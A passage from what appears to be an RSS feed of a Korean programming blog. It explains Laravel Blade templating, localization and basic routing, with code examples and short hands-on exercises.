    @foreach ($user-&gt;posts as $post)
        @if ($loop-&gt;parent-&gt;first)
            This is first iteration of the parent loop.
        @endif
    @endforeach
@endforeach
</code></pre>
<br>
<p>&quot;<strong>$loop</strong>&quot; 변수는 다른 유용한 속성을 다양하게 포함하고 있습니다.</p>
<br>
<table>
<thead>
<tr>
<th style="text-align:center">속성</th>
<th style="text-align:center">설졍</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">$loop-&gt;index</td>
<td style="text-align:center">현재 반복문의 인덱스 (0에서 부터 시작)</td>
</tr>
<tr>
<td style="text-align:center">$loop-&gt;iteration</td>
<td style="text-align:center">현재 반복문의 횟수 (1에서 부터 시작)</td>
</tr>
<tr>
<td style="text-align:center">$loop-&gt;remaining</td>
<td style="text-align:center">현재 반복문의 남은 횟수</td>
</tr>
<tr>
<td style="text-align:center">$loop-&gt;count</td>
<td style="text-align:center">반복되는 배열의 총 갯수</td>
</tr>
<tr>
<td style="text-align:center">$loop-&gt;first</td>
<td style="text-align:center">현재 반복문의 첫 번째 반복문 인지 확인</td>
</tr>
<tr>
<td style="text-align:center">$loop-&gt;last</td>
<td style="text-align:center">현재 반복문의 마지막 반복문인지 확인</td>
</tr>
<tr>
<td style="text-align:center">$loop-&gt;depth</td>
<td style="text-align:center">중첩된 반복문 확인</td>
</tr>
<tr>
<td style="text-align:center">$loop-&gt;parent</td>
<td style="text-align:center">중첩된 반복문 부모의 루프 변수</td>
</tr>
</tbody>
</table>
<p><br><br></p>
<h3 id="comments">Comments - 주석</h3>
<hr>
<p>Blade를 사용하면 View에서 주석을 정의할 수 있습니다. 그러나 HTML 주석과 달리 블레이드 주석은 애플리케이션에서 반환하는 HTML에 포함되어 있지 않습니다.</p>
<br>
<pre><code class="language-php">{{-- This comment will not be present in the rendered HTML --}}
</code></pre>
<p><br><br></p>
<h3 id="php">PHP</h3>
<hr>
<p>어떤 상황에서는 View에 PHP 코드를 포함하여 유용하게 사용할 수 있습니다. 블레이드의 &quot;@php&quot; 지시문을 사용하여 블레이드 템플릿내에서 PHP 블록에서 코드를 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">@php
    // php code
    phpinfo();
@endphp
</code></pre>
<br>
<p>블레이드는 위와 같이 기능을 제공하지만 이 기능을 너무 자주 사용하는 것은 템플릿에 로직이 너무 많이 포함됩니다.</p>
<p><br><br></p>
<h3 id="includingsubviews">Including Sub-Views - 하위 뷰 포함하기</h3>
<hr>
<p>블레이드의 &quot;@include&quot; 지시문을 사용하여 다른 뷰 내부에서 블레이드 뷰를 포함할 수 있습니다. 상위 뷰에서 사용할 수 있는 모든 변수는 포함된 뷰에서 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">&lt;div&gt;
    @include('shared.errors')

    &lt;form&gt;
        &lt;!-- Form Contents --&gt;
    &lt;/form&gt;
&lt;/div&gt;
</code></pre>
<br>
<p>하위에 포함하게될 뷰는 상위 뷰의 모든 데이터를 상속하게 되지만, 하위 뷰에는 추가 데이터 배열을 직접 전달할 수 있습니다.</p>
<br>
<pre><code class="language-php">@include('view.name', ['some' =&gt; 'data'])
</code></pre>
<br>
<p>물론 존재하지 않는 뷰를 &quot;<strong>@include</strong>&quot; 하려고하면 라라벨은 오류를 발생시킵니다. 존재하거나 존재하지 않을 수 있는 뷰를 포함하려면 &quot;<strong>@includeIf</strong>&quot; 지시문을 사용해야 합니다.</p>
<br>
<pre><code class="language-php">@includeIf('view.name', ['some' =&gt; 'data'])
</code></pre>
<br>
<p>블레이드 뷰에서 &quot;__DIR__&quot;와 &quot;__FILE__&quot;를 사용하지 않아야합니다. 사용시 컴파일된 캐시 뷰의 경로가 반환됩니다.</p>
<p><br><br></p>
<h3 id="renderingviewsforcollections">Rendering Views For Collections - 컬렉션을 뷰에서 렌더링</h3>
<hr>
<p>블레이드의 &quot;@each&quot; 지시어를 사용하면 반복문을 하나의 줄로 구성할 수 있습니다.</p>
<br>
<pre><code class="language-php">@each('view.name', $jobs, 'job')
</code></pre>
<br>
<p>첫 번째 인수는 배열 또는 집합의 각 요소에 대해 렌더링할 부분의 뷰 이름 입니다. 두 번째 인수는 반복하려는 배열 또는 컬렉션이고, 세 번째 인수는 뷰 내에서 현재 반복값에 할당 될 변수 이름입니다.<br>
예를 들면 &quot;<strong>jobs</strong>&quot; 배열을 반복하려고 하면 보통 부분적 뷰에서 각 과제를 &quot;<strong>job</strong>&quot; 변수로 접근해야 하며, 현재 반복에서의 키 값은 부분적 뷰에서 &quot;<strong>key</strong>&quot; 변수로 접근할 수 있습니다. <br><br>
<br>또한 &quot;<strong>@each</strong>&quot; 지시어에 네 번째 인수를 전달할 수 있습니다. 해당 인자는 주어진 배열이 비었을 경우 렌더링될 뷰를 결정합니다.</p>
<br>
<pre><code class="language-php">@each('view.name', $jobs, 'job', 'view.empty')
</code></pre>
<p><br><br></p>
<h3 id="stacks">Stacks - 스택</h3>
<hr>
<p>블레이드를 사용하면 다른 뷰 또는 레이아웃의 다른 곳에서 렌더링할 수 있는 이름이 지정된 스택으로 푸시할 수 있습니다. 이는 하위 뷰에 필요한 JavaScript 라이브러리를 지정하는데 유용할 수 있습니다.</p>
<br>
<pre><code class="language-php">@push('scripts')
    &lt;script src=&quot;/example.js&quot;&gt;&lt;/script&gt;
@endpush
</code></pre>
<br>
<p>아래와 같이 필요한 만큼 여러번 스택으로 푸시할 수 있습니다. 전체 스택 콘텐츠를 렌더링하려면 스택이름을 &quot;<strong>@stack</strong>&quot; 지시문으로 전달하면 됩니다.</p>
<br>
<pre><code class="language-php">&lt;head&gt;
    &lt;!-- Head Contents --&gt;

    @stack('scripts')
&lt;/head&gt;
</code></pre>
<p><br><br></p>
<h3 id="serviceinjection">Service Injection - 서비스 인잭션</h3>
<hr>
<p>&quot;<strong>@inject</strong>&quot; 지시문은 라라벨 서비스 컨테이너에서 서비스를 검색하는데 사용할 수 있습니다. &quot;<strong>@inject</strong>&quot;에 전달된 첫 번째 인수는 서비스가 배치될 변수의 이름이고, 두 번째 인자는 의존성을 해결하려는 서비스의 클래스 또는 인터페이스 이름입니다.</p>
<br>
<pre><code class="language-php">@inject('metrics', 'App\Services\MetricsService')

&lt;div&gt;
    Monthly Revenue: {{ $metrics-&gt;monthlyRevenue() }}.
&lt;/div&gt;
</code></pre>
<p><br><br></p>
<h3 id="extendingblade">Extending Blade - 블레이드 기능 확장</h3>
<hr>
<p>블레이드에서 &quot;<strong>directive</strong>&quot; 메소드를 사용하여 사용자 지정 지시문을 정의할 수 있습니다. 블레이드 컴파일러가 사용자 지정 지시어를 발견하면 해당 지시어에 정의된 콜백함수를 호출합니다. <br><br>
<br>다음의 예제는 전달된 &quot;<strong>DateTime</strong>&quot; 인스턴스의 &quot;<strong>$var</strong>&quot;의 포맷으로 변경하려는 &quot;<strong>@datetime($var)</strong>&quot; 지시어를 생성합니다.</p>
<br>
<pre><code class="language-php">&lt;?php

namespace App\Providers;

use Illuminate\Support\Facades\Blade;
use Illuminate\Support\ServiceProvider;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Perform post-registration booting of services.
     *
     * @return void
     */
    public function boot()
    {
        Blade::directive('datetime', function ($expression) {
            return &quot;&lt;?php echo ($expression)-&gt;format('m/d/Y H:i'); ?&gt;&quot;;
        });
    }

    /**
     * Register bindings in the container.
     *
     * @return void
     */
    public function register()
    {
        //
    }
}
</code></pre>
<br>
<p>위와 같이 지시문에 전달되는 표현식에서 &quot;<strong>format</strong>&quot; 메소드를 연결합니다. 따라서 이 예제에서 지시문에 의해 생성된 최종 PHP 코드는 아래와 같습니다.</p>
<br>
<pre><code class="language-php">&lt;?php echo ($var)-&gt;format('m/d/Y H:i'); ?&gt;
</code></pre>
<br>
<p>블레이드 지시문의 로직을 수정한 이후에는 캐시된 모든 블레이드 뷰를 삭제해야합니다. 캐시된 블레이드 뷰는 &quot;<strong>View:clear</strong>&quot;으로 Artisan 아티즌 명령으로 제거할 수 있습니다.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p><br><br><br></p>
<h2 id="localization">[Localization - 다국어 지원]</h2>
<br> 
<h3 id="localization">Localization - 다국어 지원이란?</h3>
<hr>
<p>라라벨은 다국어 기능은 다양한 언어로 문자열로 편리하게 검색할 수 있으며, 애플리케이션내에서 여러 언어를 쉽게 지원할 수 있습니다. 언어 문자열은 &quot;<strong>resources/lang</strong>&quot; 디렉터리내 파일에 저장됩니다. 해당 디렉터리에는 애플리케이션에서 지원되는 각 언어에 대한 하위 디렉터리가 있어야 합니다.</p>
<br>
<pre><code class="language-php">/resources
    /lang
        /en
            messages.php
        /es
            messages.php
</code></pre>
<br>
<p>모든 언어 파일은 단순히 키가 있는 문자열의 배열로 아래와 같이 반환합니다</p>
<br>
<pre><code class="language-php">&lt;?php

return [
    'welcome' =&gt; 'Welcome to our application'
];
</code></pre>
<p><br><br></p>
<h3 id="configuringthelocalelocale">Configuring The Locale - Locale 구성 변경하기</h3>
<hr>
<p>애플리케이션의 기본 언어는 &quot;<strong>config/app.php</strong>&quot; 설정파일에 저장됩니다. 물론 애플리케이션의 필요에 따라 해당 값을 변경할 수 있습니다. &quot;<strong>App</strong>&quot; 파사드의 &quot;<strong>setLocale</strong>&quot; 메소드를 사용하여 런타임에 활성화될 언어를 변경할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('welcome/{locale}', function ($locale) {
    App::setLocale($locale);

    //
});
</code></pre>
<br>
<p>지정되어 활성화된 언어 문자열이 존재하지 않을 경우 사용할 수 있는 &quot;<strong>대체 언어</strong>&quot;를 구성할 수 있습니다. 기본 언어와 마찬가지로 대체 언어도 &quot;<strong>config/app.php</strong>&quot; 설정파일에서 구성할 수 있습니다.</p>
<br>
<pre><code class="language-php">'fallback_locale' =&gt; 'en',
</code></pre>
<p><br><br></p>
<h3 id="determinigthecurrentlocale">Determinig The Current Locale - 현재 로케일 설정</h3>
<hr>
<p>&quot;<strong>App</strong>&quot; 파사드에서 &quot;<strong>getLocale</strong>&quot; 및 &quot;<strong>isLocale</strong>&quot; 메소드를 사용하여 현재 로케일을 결정하거나 로케일이 주어진 값인지 확인할 수 있습니다.</p>
<br>
<pre><code class="language-php">$locale = App::getLocale();

if (App::isLocale('en')) {
    //
}
</code></pre>
<p><br><br></p>
<h3 id="retrievinglanguagelines">Retrieving Language Lines - 다국어 언어 가져오기</h3>
<hr>
<p>&quot;<strong>trans</strong>&quot; 도우미 헬퍼 함수를 사용하여 언어 파일에서 다국어파일을 검색할 수 있습니다.<br>
&quot;<strong>trans</strong>&quot; 메소드는 첫 번째 인수로 언어 행의 파일과 키를 받습니다. 예를 들면 &quot;<strong>resources/lang/messages.php</strong>&quot; 언어 파일에서 &quot;<strong>welcom</strong>&quot;에 해당하는 다국어 언어 값을 찾을 수 있습니다.</p>
<br>
<pre><code class="language-php">echo trans('messages.welcome');
</code></pre>
<br>
<p>물론 블레이드 템플릿 엔진을 사용할 경우 &quot;<strong>{{ }}</strong>&quot; 구문을 사용하거나 &quot;<strong>@lang</strong>&quot; 지시문을 사용할 수 있습니다.</p>
<br>
<pre><code class="language-php">{{ trans('messages.welcome') }}

@lang('messages.welcome')
</code></pre>
<br>
<p>지정된 다국어 언어 행이 존재 하지 않으면 &quot;<strong>trans</strong>&quot; 함수는 단순히 다국어 키를 반환합니다. 따라서 위의 예를 사용하면 언어 행이 존재하지 않으면 &quot;<strong>trans</strong>&quot; 함수가 &quot;<strong>messages.welcome</strong>&quot;을 반환합니다.</p>
<p><br><br></p>
<h3 id="replacingparametersinlanguagelines">Replacing Parameters In Language Lines - 다국어 언어 일부 교체하기</h3>
<hr>
<p>원하는 경우 다국어에 자리 표시자(place-holders)를 정의할 수 있습니다. 모든 자리 표시자 앞에 &quot;<strong>:</strong>&quot;가 붙습니다. 예를 들어 자리 표시자 이름으로 &quot;<strong>welcome</strong>&quot; 메시지를 정의할 수 있습니다.</p>
<br>
<pre><code class="language-php">'welcome' =&gt; 'Welcome, :name',
</code></pre>
<br>
<p>다국어를 검색할 때 자리 표시자를 대체하려면 &quot;<strong>trans</strong>&quot; 함수의 두 번째 인자로 대체 배열을 전달하면 됩니다.</p>
<br>
<pre><code class="language-php">echo trans('messages.welcome', ['name' =&gt; 'dayle']);
</code></pre>
<br>
<p>자리 표시자에 모두 대문자가 포함되어 있거나, 첫 글자만 대문자인 경우, 변환된 값은 그에 따라 대문자로 표시됩니다.</p>
<br>
<pre><code class="language-php">'welcome' =&gt; 'Welcome, :NAME', // Welcome, DAYLE
'goodbye' =&gt; 'Goodbye, :Name', // Goodbye, Dayle
</code></pre>
<p><br><br></p>
<h3 id="pluralization">Pluralization - 복수화</h3>
<hr>
<p>복수화는 여러 언어가 복수화에 대한 다양한 복잡한 규칙을 가지고 있기 때문에 복잡한 문제입니다.<br>
&quot;<strong>pipe</strong>&quot; 문자를 사용하여 문자열의 단수형과 복수형을 구별할 수 있습니다.</p>
<br>
<pre><code class="language-php">'apples' =&gt; 'There is one apple|There are many apples',
</code></pre>
<br>
<p>복수화 옵션으로 언어행을 정의한 후 &quot;<strong>trans_choice</strong>&quot; 메소드를 사용하여 주어진 &quot;<strong>count</strong>&quot;에 대한 행을 표시할 수 있습니다. 예에서 개수가 1보다 크므로 복수 형식의 언어행이 반환됩니다.</p>
<br>
<pre><code class="language-php">echo trans_choice('messages.apples', 10);
</code></pre>
<br>
<p>라라벨 &quot;<strong>Translator</strong>&quot;는 &quot;<strong>Symfony Translation</strong>&quot; 구성 요소에 의해 구동되므로 여러 숫자 범위에 대한 언어 행을 지정하는 더 복잡한 복수화 규칙을 만들 수 있습니다.</p>
<br>
<pre><code class="language-php">'apples' =&gt; '{0} There are none|[1,19] There are some|[20,Inf] There are many',
</code></pre>
<p><br><br></p>
<h3 id="overridingpackagelanguagefiles">Overriding Package Language Files - 패키지의 언어 파일 재정의</h3>
<hr>
<p>일부 패키지는 자체 언어 파일과 함께 제공될 수 있습니다. 패키지의 핵심 파일을 변경하여 이러한 줄을 조정하는 대신 &quot;<strong>resources/lang/verdor/{package}/{locale}</strong>&quot; 디렉터리에 파일을 배치하여 재정의할 수 있습니다.</p>
<br>
<p>예를 들어 &quot;<strong>skyrim/hearthfire</strong>&quot; 패키지의 영어 &quot;<strong>messages.php</strong>&quot; 다국어 메시지들을 변경할 필요가 있다면 &quot;<strong>resources/lang/vendor/en/hearthfire/en/messages.php</strong>&quot; 언어 파일을 추가하면 됩니다. 해당 파일에서 재정의하고자 하는 언어 라인을 지정하면 됩니다. 재정의하지 않은 다국어 메시지들은 패키지 언어 파일의 정의 그대로 따릅니다.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p><br><br><br></p>
<h3 id="view">View 새로운 파일 생성하여 실습하기</h3>
<hr>
<pre><code class="language-php">Route::get('/', function () {
    return view('index_page', ['name' =&gt; 'DongDongE']);
});
</code></pre>
<p><strong>routes/web.php</strong></p>
<br>
<p>위 코드에서 웹 루트디렉터리에 접속시 &quot;<strong>index_page</strong>&quot;의 뷰 파일을 불러와 사용자 브라우저에 출력해보도록 하겠습니다.</p>
<br>
<pre><code class="language-html">&lt;h1&gt;index 페이지 입니다. &lt;h1&gt;
나의 이름은 {{ $name }} 입니다.
</code></pre>
<p><strong>resources/views/index_page.blade.php</strong></p>
<br>
<p>위 파일을 새로 생성하여 코드를 붙여 넣어 주십시오. 해당 코드는 라우트에서 뷰 파일로 &quot;<strong>name</strong>&quot; 변수에 &quot;<strong>DongDongE</strong>&quot; 인자를 배열에 담아 보내 View에서 해당 변수를 출력할 수 있는 로직입니다.</p>
<br>
<p>위와 같이 &quot;<strong>view</strong>&quot; 메소드에 배열로 인자를 담아 보내도 되지만 파트 &quot;<strong>Passing Data To Views</strong>&quot;와 같이 &quot;<strong>with</strong>&quot; 메소드로 배열 대신 개별 데이터를 전달할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('/', function () {
    return view('index_page')-&gt;with('name', 'DongD@ngE');
});
</code></pre>
<br>
<p>만약 여러개의 데이터일 경우는 배열로 넘겨주는 방식이 편합니다.</p>
<p><br><br><br></p>
<h3 id="">블레이드 실습해보기</h3>
<hr>
<p>이번 블레이드 실습은 위 파트 블레이드 부분에 자세히 설명되어 있어 설명을 기반으로 응용을 해보도록 하겠습니다.</p>
<br>
<pre><code class="language-php">Route::get('/', function () {
   $names = ['Scarlett Sipes', 'Leannon', 'Larkin', 'Alf Mohr', 'Keebler'];

   return view('index_page', ['names' =&gt; $names]);
});
</code></pre>
<p><strong>routes/web.php</strong></p>
 <br>
<p>&quot;<strong>$names</strong>&quot; 변수에는 배열에 5명의 이름을 담아 view 메소드로 &quot;<strong>names</strong>&quot; 변수에 전달하였습니다. 전달된 인자를 view에서 사용자 브라우저로 출력할 수 있도록 해보겠습니다.</p>
 <br>
<pre><code class="language-php">@foreach ($names as $name)
   {{ $name }} 
   &lt;br&gt;
@endforeach
</code></pre>
<p><strong>resources/views/index_page.blade.php</strong></p>
 <br>
<p>전달되는 값은 배열이므로 &quot;<strong>@for</strong>&quot;, &quot;<strong>@white</strong>&quot; 대신 &quot;<strong>@foreach</strong>&quot; 메소드로 하나씩 이름을 출력할 수 있도록 로직을 구현하였습니다. 블레이드 문법상 편하게 HTML 언어를 사용하고 PHP 문법은 &quot;<strong>@로직명</strong>&quot;으로 처리할 수 있습니다.<br>
<br>사용자 브라우저 아래와 같이 출력이 됩니다.</p>
<br>
<pre><code class="language-html">Scarlett Sipes
Leannon
Larkin
Alf Mohr
Keebler
</code></pre>
<br>
<p>또는 아래와 같이 &quot;<strong>$loop</strong>&quot; 변수의 도움을 받아 로직을 재미있게 처리할 수 있습니다. 위 블레이드 파트 부분에서 보다 자세하게 설명되여 구체적인 설명은 생략합니다.</p>
<br>
<pre><code class="language-php">@foreach ($names as $name)
    @if($loop-&gt;first)
        첫번째 - {{ $name }}&lt;br&gt;
        @continue;
    @endif
    
    @if($loop-&gt;last)
        마지막 - {{ $name }} &lt;br&gt;
        @continue;
    @endif
    
    {{ $name }} 
    &lt;br&gt;
@endforeach
</code></pre>
<br>
<p>출력 결과는 아래와 같습니다.</p>
<br>
<pre><code class="language-html">첫번째 - Scarlett Sipes
Leannon
Larkin
Alf Mohr
마지막 - Keebler
</code></pre>
<br>
<p>만약 부트스트랩 테마를 사용하여 템플릿 구간을 나누어(Head, Body, Footer) 사용시 유용합니다. 아래 예제로 설명을 드리겠습니다.</p>
<br>
<pre><code class="language-php">Route::get('/', function () {
    return view('index_page')-&gt;with('title', 'MyPages'); 
});
</code></pre>
<p><strong>routes/web.php</strong></p>
<br>
<p>웹 루트 디렉터리에 접근시 라우트는 &quot;<strong>index_page.blade.php</strong>&quot; 페이지의 뷰를 호출할 수 있도록 로직을 구현하였습니다. 그리고 &quot;<strong>title</strong>&quot; 변수에는 페이지 제목을 알리는 &quot;<strong>MyPages</strong>&quot; 값을 넣어 전달 하였습니다.</p>
<br>
<pre><code class="language-php">&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;App Name - @yield('title')&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        @yield(&quot;content&quot;)
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p><strong>resources/views/index_template.balde.php</strong></p>
<br>
<p>위 코드는 템플릿될 뼈대입니다. 예를 들어 &quot;<strong>회원가입</strong>&quot;, &quot;<strong>로그인</strong>&quot; 페이지에서는 같은 헤더와 푸더를 사용하고 중간 &quot;<strong>&lt;body&gt;</strong>&quot; 부분만 다르게 표시함으로 위와 같이 중복되는 부분은 뼈대를 템플릿으로 만들어 설정할 수 있습니다.</p>
<br>
<pre><code class="language-php">@extends('index_template')

@section('title', $title)

@section('content')
    콘텐츠입니다.
@endsection
</code></pre>
<p><strong>resources/views/index_page.balde.php</strong></p>
<br>
<p>위 코드는 &quot;<strong>index_template.balde.php</strong>&quot; 템플릿을 &quot;<strong>extends</strong>&quot; 지시문으로 가져와 &quot;<strong>section</strong>&quot; 지시문을 통하여 각각 맞는 섹션에 값을 전달하여 표시 합니다.</p>
<br>
<pre><code class="language-html">&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;App Name - MyPages&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
            콘텐츠입니다.
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<br>
<p>위 코드와 같이 사용자 브라우저에 표시됩니다. 기존 MVC 패턴 라라벨을 이용하지 않고 PHP 코드로 사용한다면 대부분 부트스트랩 템플릿을 &quot;<strong>include</strong>&quot; 또는 &quot;<strong>require_once</strong>&quot; 메소드를 사용하여 해당 PHP 코드를 가져오게 됩니다.<br>
그러면 오버헤드와 함께 PHP 엔진에서 실행 되지만 라라벨의 블레이드 엔진을 사용하여 PHP 코드 부분, 블레이드 문법 부분, HTMl 코드 부분 나누어 실행되므로 더 더욱 적은 오버헤드와 편리하게 관리할 수 있습니다.</p>
<p><br><br></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[PHP MVC - Laravel Routing]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - Routing</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.08</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="routing">Routing</h2>
<br> 
<h2 id="basicrouting">기본 라우팅 - Basic Routing</h2>
<p>가장 기본적인 라라벨 경로는 단순히 URL와 Closure 경로를 정의하는 매우 간단하고 표현적인 방법을 제공합니다.<br>
<br></p>
<pre><code class="language-php">Route::get('foo', function () {
    return 'Hello World!';
});
</code></pre>
<br>
<h3 id="">기본 라우트 파일</h3>
<hr>
<p>모든 Laravel 라우트는 라우트 디렉터리에 있는</p>]]></description><link>https://blog.d0ngd0nge.xyz/php-mvc-laravel-routing/</link><guid isPermaLink="false">5f2d8193a673e14bd491ca6b</guid><category><![CDATA[laravel]]></category><dc:creator><![CDATA[DongDongE]]></dc:creator><pubDate>Fri, 07 Aug 2020 16:30:16 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Title: <strong>PHP Laravel - Routing</strong><br>
Author: <strong>DongDongE</strong><br>
Tags: <strong>Programming</strong><br>
Release: <strong>2020.08.08</strong></p>
</blockquote>
<br><!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="routing">Routing</h2>
<br> 
<h2 id="basicrouting">기본 라우팅 - Basic Routing</h2>
<p>가장 기본적인 라라벨 경로는 단순히 URL와 Closure 경로를 정의하는 매우 간단하고 표현적인 방법을 제공합니다.<br>
<br></p>
<pre><code class="language-php">Route::get('foo', function () {
    return 'Hello World!';
});
</code></pre>
<br>
<h3 id="">기본 라우트 파일</h3>
<hr>
<p>모든 Laravel 라우트는 라우트 디렉터리에 있는 라우트 파일에 정의됩니다. 이러한 파일은 프레임워크에 의해 자동로딩되며 &quot;<strong>routes/web.php</strong>&quot; 웹 인터페이스를 위한 라우트(경로)를 정의합니다. 이러한 경로에는 세션 상태 및 CSRF 보호와 같은 기능을 제공하는 &quot;<strong>web</strong>&quot; 미들웨어 그룹이 할당되어 있습니다. &quot;<strong>routes/api.php</strong>&quot;안에 들어 있는 경로는 상태 비저장이며, API 미들웨어 그룹에 할당됩니다. <br><br>
대부분의 애플리케이션에서는 &quot;<strong>routes/web.php</strong>&quot; 파일에 라우트를 정의해서 시작할 수 있습니다.</p>
<p><br><br></p>
<h3 id="">사용 가능한 라우터 메소드</h3>
<hr>
<p>라우터를 사용하면 HTTP 응답하는 경로(라우트)를 등록할 수 있습니다.<br>
<br></p>
<pre><code class="language-php">Route::get($uri,     $callback);
Route::post($uri,    $callback);
Route::put($uri,     $callback);
Route::patch($uri,   $callback);
Route::delete($uri,  $callback);
Route::options($uri, $callback);
</code></pre>
<p><br>가끔은 여러 HTTP 메소드에 응답하는 라우티(경로)를 등록해야하는 경우가 있습니다. 그럴 경우는 &quot;<strong>match</strong>&quot; 메소드를 사용하며 됩니다. 또는 &quot;<strong>any</strong>&quot; 메소드를 사용하여 모든 HTTP 메소드에 응답하는 라우트(경로)를 등록할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::match(['get', 'post'], '/', function () {
    /* HTTP GET, POST 메소드를 통하여 http://&lt;IP&gt;/로 접근시 로직 수행한다. */
    //
});

Route::any('foo', function () {
    /* HTTP 모든 메소드를 통하여 http://&lt;IP&gt;/foo로 접근시 로직 수행한다. */
    //
});
</code></pre>
<p><br><br></p>
<h3 id="csrf">CSRF 보호하기</h3>
<hr>
<p>&quot;<strong>web</strong>&quot; 경로 파일에 정의된 &quot;<strong>POST</strong>&quot;, &quot;<strong>PUT</strong>&quot;, &quot;<strong>DELETE</strong>&quot; 경로를 가리키는 라우트들은 모두 CSRF 토큰 필드를 포함해야 합니다. 그렇지 않으면, 해당 request(요청)들은 거부됩니다.<br>
<br></p>
<pre><code class="language-php">&lt;form method=&quot;POST&quot; action=&quot;/profile&quot;&gt;
    {{ csrf_field() }}
    ...
&lt;/form&gt;
</code></pre>
<br>
<pre><code class="language-html">&lt;form method=&quot;POST&quot; action=&quot;/profile&quot;&gt;
    &lt;input type=&quot;hidden&quot; name=&quot;_token&quot; value=&quot;EGWnh6kWworctcxBr8J0aXDHWzxr4Mt3bY6poiJb&quot;&gt;
&lt;/form&gt;
</code></pre>
<p><br><br><br></p>
<h2 id="routeparameters">Route Parameters - 라우트 파라미터</h2>
<h3 id="">필수적 파라미터</h3>
<hr>
<p>라우트 경로내에서 URI 세그먼트를 필요로 할 수 있습니다. 예를 들어 URL에서 사용자의 ID를 전달 받을 수 있으며, 라우트 매개변수(파라미터)를 정의하여 수행할 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('user/{id}', function ($id) {
    return 'User ' . $id;
});
</code></pre>
<p>또는 아래와 같이 필요한 만큼 파라미터를 여러개 전달 받을 수 있습니다.</p>
<br>
<pre><code class="language-php">Route::get('posts/{post}/comments/{comment}', function ($postId, $commentId) {
    //
});
</code></pre>
<br>
<p>라우트 매개변수는 항상 &quot;<strong>{}</strong>&quot; 중괄호로 쌓여 있으며 알파벳 문자로 구성되어야 합니다. 경로 파라미터는 특수문자 &quot;<strong>-</strong>&quot;를 포함할 수 없습니다. 대신 &quot;<strong>_</strong>&quot; 밑줄(언더스코어)을 사용할 수 있습니다.</p>
<p><br><br></p>
<h3 id="">선택적 파라미터</h3>
<hr>
<p>경우에 따라 파라미터를 지정해야 하지만, 경우에 따라 파라미터의 존재 여부를 선택적으로 설정할 수 있습니다.<br>
&quot;<strong>?</strong>&quot;를 사용하여 처리할 수 있으며, 파라미터 이름 뒤에 표시를 하면 됩니다. 또한 라우트의 해당 변수에 기본값을 지정해야 합니다. 보다 자세한건 아래 예시 코드로 대처 하겠습니다.</p>
<br>
<pre><code class="language-php">Route::get('user/{name?}', function ($name = null) {
    /* http://&lt;IP&gt;/users/로 접근시 null 반환 */
    return $name;
});

Route::get('user/{name?}', function ($name = 'John') {
    /* http://&lt;IP&gt;/users/로 접근시 John 반환 */
    return $name;
});
</code></pre>
<p><br><br></p>
<h3 id="">정규표현식 제약</h3>
<hr>
<p>라우트 경로 인스턴스에서 &quot;<strong>where</strong>&quot; 메소드를 사용하여 라우트의 파라미터 형식(포맷)을 제한할 수 있습니다.<br>
&quot;<strong>where</strong>&quot; 메소드는 파라미터의 이름과 파라미터를 제한하는 방법을 정의하는 정규표현식을 허용합니다.</p>
<br>
<pre><code class="language-php">Route::get('/user/{name}', function ($name) {
    /* &quot;name&quot; 파라미터에는 영어 대소문자로 시작하여 끝날 경우 실행 */
    //
})-&gt;where('name', '[A-Za-z]+');

Route::get('/user/{id}', function ($id) {
    /* &quot;id&quot; 파라미터에 숫자만 있을 경우 실행 */
    //
})-&gt;where('id', '[0-9]+');

Route::get('user/{id}/{name}', function ($id, $name) {
    /*
       &quot;id&quot; 파라미터에는 숫자만
       &quot;name&quot; 파라미터에는 영문 소문자만 있을 경우 실행
    */
    //
})-&gt;where(['id' =&gt; '[0-9]+', 'name' =&gt; '[a-z]+']);
</code></pre>
<p><br><br></p>
<h3 id="">글로벌 제약</h3>
<hr>
<p>라우트 파라미터가 항상 주어진 정규표현식에 의해 제한되도록 하려면 아래와 같이 &quot;<strong>pattern</strong>&quot; 메소드를 사용할 수 있습니다. &quot;<strong>RouteServiceProvider</strong>&quot;의 &quot;<strong>boot</strong>&quot; 메소드 안에서 사용해야 합니다.<br>
<br></p>
<pre><code class="language-php">&lt;?php

namespace App\Providers;

use Illuminate\Support\Facades\Route;
use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider;

class RouteServiceProvider extends ServiceProvider
{

    protected $namespace = 'App\Http\Controllers';

    /**
     * Define your route model bindings, pattern filters, etc.
     *
     * @return void
     */
    public function boot()
    {
        Route::parttern('id', '[0-9]+');

        parent::boot();
    }
...생략
</code></pre>
<p><strong>app/Providers/RouteServiceProvider.php</strong></p>
<br>
<p>패턴을 한번 정의하고, 해당 파림터 이름을 사용하는 모든 라우트에게는 자동으로 적용됩니다.</p>
<br>
<pre><code class="language-php">Route::get('user/{id}', function ($id) {
    /* &quot;id&quot; 파라미터는 숫자일 경우 실행한다. */
    //
});
</code></pre>
<p><br><br></p>
<h3 id="">이름 지정된 라우트</h3>
<hr>
<p>이름이 지정한 라우트는 URL이나 특정 지정된 라우트로 리다이렉트를 쉽고 편리하게 생성할 수 있습니다. 라우트 정의에 &quot;<strong>name</strong>&quot; 메소드를 연결(Chaining)하여 라우트에 대한 이름을 지정할 수 있습니다.<br>
<br></p>
<pre><code class="language-php">Route::get('user/profile', function () {
    //
})-&gt;name('profile');
</code></pre>
